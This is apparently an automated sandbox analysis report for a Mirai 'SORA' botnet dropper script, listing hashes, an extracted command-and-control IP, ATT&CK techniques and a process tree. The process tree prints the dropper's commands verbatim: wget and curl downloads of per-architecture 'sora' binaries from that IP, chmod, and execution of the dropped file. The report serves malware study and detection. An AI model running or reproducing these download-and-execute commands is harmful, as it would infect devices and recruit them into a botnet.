mirai | 7ef887224a88a3ee38fd0ac9f4de6e53f959fadc42e0cdfb4fbb2bcacc362f60

Analysis

max time kernel
51s
max time network
148s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2026, 09:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
pulse.sh
Size 2KB
Sample261027-k2d3nasybx
SHA256 7ef887224a88a3ee38fd0ac9f4de6e53f959fadc42e0cdfb4fbb2bcacc362f60
MD5 34e1f0ae1a0897ab58b74ed81a00b44d
SHA1 9464f69d620a03ca0c22f2f8ccfe3dfdbe7e9c81
SHA512 60841fec9a36373eecd6b6a6bd51e130d1193645653e8f25356b72d7cc4d409d4df3f1a5f8242037dcbe24a62e6f5ad823cb18836b03c358aa1d38412cb36535
TLSH
T142516DD833124AB67FF19D53B5F58A1472C0F4A15BC26E05D0EC79BD694CF0C24A06E2
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet sora defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

204.194.50.3

Extracted

Family

mirai

204.194.50.3

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

Mirai Renesas payload 1 IoCs

resource	yara_rule
behavioral3/files/fstream-8.dat	family_mirai_renesas

Contacts a large (45241) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
879	chmod
884	chmod
890	chmod
735	chmod
741	chmod
764	chmod
789	chmod
807	chmod
835	chmod
856	chmod
868	chmod
812	chmod
862	chmod
873	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	736	pulse.sh
/tmp/robben	742	pulse.sh
/tmp/robben	765	pulse.sh
/tmp/robben	791	pulse.sh
/tmp/robben	808	pulse.sh
/tmp/robben	813	pulse.sh
/tmp/robben	837	pulse.sh
/tmp/robben	857	pulse.sh
/tmp/robben	863	pulse.sh
/tmp/robben	869	pulse.sh
/tmp/robben	874	pulse.sh
/tmp/robben	880	pulse.sh
/tmp/robben	885	pulse.sh
/tmp/robben	891	pulse.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-5.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	f3oco51inie2k4cpg	742	robben

Reads runtime system information 36 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/663/exe	robben
File opened for reading	/proc/668/exe	robben
File opened for reading	/proc/876/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/866/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/713/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/667/exe	robben
File opened for reading	/proc/703/exe	robben
File opened for reading	/proc/704/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/407/exe	robben
File opened for reading	/proc/659/exe	robben
File opened for reading	/proc/666/exe	robben
File opened for reading	/proc/694/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/882/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/786/exe	robben
File opened for reading	/proc/793/exe	robben
File opened for reading	/proc/795/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/888/exe	robben
File opened for reading	/proc/746/exe	robben
File opened for reading	/proc/701/exe	robben
File opened for reading	/proc/794/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/743/exe	robben
File opened for reading	/proc/707/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
738	wget
739	curl
740	cat

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/robben	pulse.sh
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.sh4	wget
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/sora.sh4	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.ppc440fp	curl

/tmp/pulse.sh
/tmp/pulse.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:707
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:710
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat sora.x86
  2⤵
  PID:734
- /bin/chmod
  chmod +x pulse.sh robben sora.x86 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:736
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod +x pulse.sh robben sora.mips sora.x86 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:742
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.x86_64
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:763
- /bin/chmod
  chmod +x pulse.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:765
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.i468
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/cat
  cat sora.i468
  2⤵
  PID:788
- /bin/chmod
  chmod +x pulse.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:791
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.i686
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/cat
  cat sora.i686
  2⤵
  PID:806
- /bin/chmod
  chmod +x pulse.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:808
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:811
- /bin/chmod
  chmod +x pulse.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:813
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm4
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat sora.arm4
  2⤵
  PID:834
- /bin/chmod
  chmod +x pulse.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:837
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/cat
  cat sora.arm5
  2⤵
  PID:855
- /bin/chmod
  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:857
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/cat
  cat sora.arm6
  2⤵
  PID:861
- /bin/chmod
  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:863
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm7
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/cat
  cat sora.arm7
  2⤵
  PID:867
- /bin/chmod
  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:869
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:870
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/cat
  cat sora.ppc
  2⤵
  PID:872
- /bin/chmod
  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:874
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.ppc440fp
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:878
- /bin/chmod
  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:880
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:881
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/cat
  cat sora.m68k
  2⤵
  PID:883
- /bin/chmod
  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:885
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:887
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/cat
  cat sora.sh4
  2⤵
  PID:889
- /bin/chmod
  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:891

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

robben

Path /tmp/robben
Size 28KB
SHA256 02d1745fc1932ca560190c8f9850320f6374255df0e7f91bdcd8cea323567ca4
MD5 621de2bb172f4fce9bdeae0fcb1ada32
SHA1 b6a2c7c64432ce489d24564fdaf3b6abd781df95
SHA512 7c268d757ef432bdb1407d23498a802dbd340c226cbaafa6a52f98561dc3228f13d2af62c1008e8601044a3e1018b805d4ce95326ecdc4da933972c0682b9404
SSDEEP 768:yxMWBhAHuLegF1aF4NscfOl8liVHNWeUecJgGlzDpbuR1JA:yxdBGuLea19acfjliXWexUVJui
TLSH
T1CFD2D0B91A0B4ADEDE9BCCF6C3E013E0192A0E129903FD4AB49CD7475B675C4A107AD8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 214B
SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
MD5 65f6781c1fd861446ef37c2b9c51364c
SHA1 88d4aa4932e110c5265b1d63657746c4a113963e
SHA512 0ed4057b1653e93330fbf07902f19ad0c7957f334d754f52446812d7af8be1b5f5f228b6f375b261b5f6e3c827b97cea3eb138fdfc1b97cc22e78b57e4c31314
TLSH
T1A5D0239EE143224B412211D03EC215D1544C1366F87645E82C817449910C63DC4CA19C
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 212B
SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
MD5 83ab6cd9a67528bbc6f4f360cb7f8d83
SHA1 07e8f17209e0569aab39f062568ff0090d9b20d4
SHA512 171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
TLSH
T126D0229EE283628B812225D03EC215D2244C23A6F97645E82C82B48A920C63DC4DA69D
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 64KB
SHA256 b25cd22b59b8516fdfdd54c7f0dc2356ce883aea4e87f659f2ca66d214726fa4
MD5 b3adb56f7a54a9951a0082b4d03877c2
SHA1 78963b16060f3b1591e414b8867791113f86a990
SHA512 4aaf4870193337157b2ed2678f655bbe7545d9b58a31d1125c40c50e04298fb4a1e3168a929969d0c12e0f616752f33e762fa4a2c2c06fdd7f20dfd15cc29a8a
SSDEEP 1536:PaAtVnz1/mUUNztiYmW6ihiYLTofs3wfpWIDNEJ7JC7a:P/tVz1eUUfwN0T0f+whWONEJ7J3
TLSH
T1D6539EA5C1ACAE58CA1441B8B654CD398733F408A6E76EF7D646C796800BEECF1187F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sora.x86

Path /tmp/sora.x86
Size 27KB
SHA256 d416e786af64b877744b04d16f6134503993c9f1bb43427c4790fae615833e0c
MD5 7af1c8395f2843ab456c1bf9a3b4d596
SHA1 e087341edf7f35e45bdf95b001bbfd375b15b856
SHA512 52ac703177e4e5e6639b6ca3757f2458ba391c59fd035ad2f13aa1418543b24ba9ed1ee6f244a54c38ae08f604aa3d0b7ab144ceeac904b70c16f9865a144a16
SSDEEP 384:MX1DMwk8JPyGNoDZsEXVZVBy6xIJSlSmknnLZddZ6TJfUVlMWEbo28tEe5mjIgaj:qMw4DZdFbBy6x3K/KdWnH5n2ep0NW
TLSH
T180C2E1BC7EBB6F83CE1700356598FE3782B0A5A5D35BB6D6B24485016C130E5BA26CD4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads